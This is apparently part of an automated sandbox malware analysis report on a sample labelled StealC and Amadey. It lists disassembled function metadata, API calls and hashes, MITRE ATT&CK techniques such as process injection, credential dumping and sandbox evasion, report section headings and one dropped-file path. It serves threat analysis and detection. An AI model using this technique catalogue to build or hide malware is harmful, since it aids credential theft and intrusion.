__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

Strings

!oi/, xrefs: 6C6994DC

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __acrt_iob_func__stdio_common_vfprintf
String ID: !oi/
API String ID: 2168557111-845032489
Opcode ID: 369a432d41f6b3c807b2c822bc13ed264a11967c3c489442b78308e1281bac8e
Instruction ID: 3f6045bb5b4cb0b013770da45856b9d4fc6c584e6ef8fb0a2d343d170e2a610c
Opcode Fuzzy Hash: 369a432d41f6b3c807b2c822bc13ed264a11967c3c489442b78308e1281bac8e
Instruction Fuzzy Hash: B3F08971A0011C6FDB005F65DC89EAFBB78EF86259F404025F9095B241D7317928CBE9

Function 6C6B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C6B6E22
__Init_thread_footer.LIBCMT ref: 6C6B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C6B6E1D

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction ID: bcd68a56edc4a956bdd073aa2d8006e056c651a881adc380280f84d7f154e701
Opcode Fuzzy Hash: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction Fuzzy Hash: 2DF02E302492C08BDB008B69C8A1A9173B29303318F080165F80196FA2CB31F627CFAF

Function 6C669E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C669EEF

Strings

Infinity, xrefs: 6C669EB7
NaN, xrefs: 6C669EC1

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 69064ab08258a321f268fc936855b8ae153423eff6b17a422022ef0b64cf6071
Instruction ID: c4194f2a258d45e7e49048328d94766e7d17b0c02063ac6c994417b112666e3a
Opcode Fuzzy Hash: 69064ab08258a321f268fc936855b8ae153423eff6b17a422022ef0b64cf6071
Instruction Fuzzy Hash: E1F06D71601641CBDB00CF5AD8C5B9033F1B74771DF250A19C9440AF81D7767646CA9F

Function 6C666C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C42

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C58

Strings

0Kil, xrefs: 6C666C33, 6C666C41, 6C666C57

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kil
API String ID: 1967447596-1570486273
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 47a2848e409718a8f1d8a2683fe2594ab049f9b896a105d641ef50186a662689
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: F4E086F1A10D455B9F08D97FAC0956A71C88B553AC7044A35E823C6FC8FAB4E550815F

Function 6C663850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C6DF860), ref: 6C66385C
ReleaseSRWLockExclusive.KERNEL32(6C6DF860,?), ref: 6C663871

Strings

,ml, xrefs: 6C66387A

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,ml
API String ID: 17069307-2011709430
Opcode ID: 0d0956604974530897a4ba8b7727f651a48ce739f5daf58c3049dd481df3611d
Instruction ID: 00fa472585672111d06e3571410fb36d97cae3e71abd384864b2b2c2593cfef1
Opcode Fuzzy Hash: 0d0956604974530897a4ba8b7727f651a48ce739f5daf58c3049dd481df3611d
Instruction Fuzzy Hash: 4EE0DF31A55A1897C7119F9794415CA7BB8EF4779070A8019F40A17E00C730F1808ACF

Function 6C66BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C66BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C66BEF5

Strings

cryptbase.dll, xrefs: 6C66BEF0

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 4870778a0ef8a45ee3d799cae793fcd5ec17f4a2edcaed08401fe318736b03b0
Instruction ID: 44563a522ee1324380eaf9a3347d73bdea828b5c897ecfb4e6088c6321dae0f1
Opcode Fuzzy Hash: 4870778a0ef8a45ee3d799cae793fcd5ec17f4a2edcaed08401fe318736b03b0
Instruction Fuzzy Hash: F7D0A731184209E6C7006B528C05B2937749782795F10C020F30544C52C7B0B413DF4D

Function 6C6AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB628

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C6AB127,?,?,?,?,?,?,?,?), ref: 6C6AB74D

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction ID: 085effcad87eddf0045659a872f45dad84b52f8dd6c581acd935d8d6010fba1a
Opcode Fuzzy Hash: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction Fuzzy Hash: 2251D071A0121A8FDB14CF98C98076EB7B1FF85308F55852DC85AAB710D771EC06CBA9

Function 6C6ADF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C69FF2A), ref: 6C6ADFFD

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C69FF2A), ref: 6C6AE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C69FF2A), ref: 6C6AE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C69FF2A), ref: 6C6AE0FE

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: cabe91f4908b1c6f856e5c9787874f3b5c8f45639306af4e38530e3ed047097a
Instruction ID: e21ff0582001f1c578717a04a0280a70c0edc5aa316f26e7165c00677b0be3f0
Opcode Fuzzy Hash: cabe91f4908b1c6f856e5c9787874f3b5c8f45639306af4e38530e3ed047097a
Instruction Fuzzy Hash: 9441C1B16042168FEB14CFA9C89075A73B2AF46308F14493DD516DB740E732ED26CBAA

Function 6C6A6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C6A6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C6A6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6A6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A6F5C

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 8644ccabdd39f7598f8190600c280acc267cedd63c2cddf56738e80d0d2e0910
Instruction ID: 0bc45efbc56a15fb90265375e450124e3aef0bdf4470a3bdb9cd26a8f81ef013
Opcode Fuzzy Hash: 8644ccabdd39f7598f8190600c280acc267cedd63c2cddf56738e80d0d2e0910
Instruction Fuzzy Hash: 7C31F871A1060A8FDB04CF6CC980AAA73FAFB95304F50413DD41AC7651EF31E95AC794

Function 6C6BB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C660A4D), ref: 6C6BB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C660A4D), ref: 6C6BB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C660A4D), ref: 6C6BB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C660A4D), ref: 6C6BB67F

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: d9d209a4901d0ed02fe7198cde96c2de8e2dc279f2c773b95c5bc01864716047
Instruction ID: 8faa6fbec7cdb6eb0e23bb9a89ffa2cdca4c2045baff36eeb0e7f7c129bded36
Opcode Fuzzy Hash: d9d209a4901d0ed02fe7198cde96c2de8e2dc279f2c773b95c5bc01864716047
Instruction Fuzzy Hash: 1C31D471A012168FDB10CF59C8C469ABBB5FFC5304F168669C846EB201EB31ED25CBA5

Function 6C68F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C68F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C68F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C68F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C68F668

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: fd0c959764e2c6f652b47417bb4cdd4b4b8c15a0ef4d9854fa31841a68e36b3a
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 95316F71B00214AFC714CF1DDCC0A9B7BB5EB94354B148538FA4A8BB04D732E9448BAA

Function 6C6A26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A26C1
free.MOZGLUE(?), ref: 6C6A26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A26FF
free.MOZGLUE ref: 6C6A270D

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d1ae15fc273256de6d2d0fba886dda6b015f370c63a0962ebae03874a0add4ca
Instruction ID: da9dc1a29145f47382f95be9498f80c97c9091a0ac98734626d699cba01f1fb2
Opcode Fuzzy Hash: d1ae15fc273256de6d2d0fba886dda6b015f370c63a0962ebae03874a0add4ca
Instruction Fuzzy Hash: EFF0F9B27012046BE7109E5AD8C4D4773A9EF4131CB100035EA1EC3B11E332FD1AC6AE

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BAAFCAFCBKFHJJJKKFHIDAAKFB

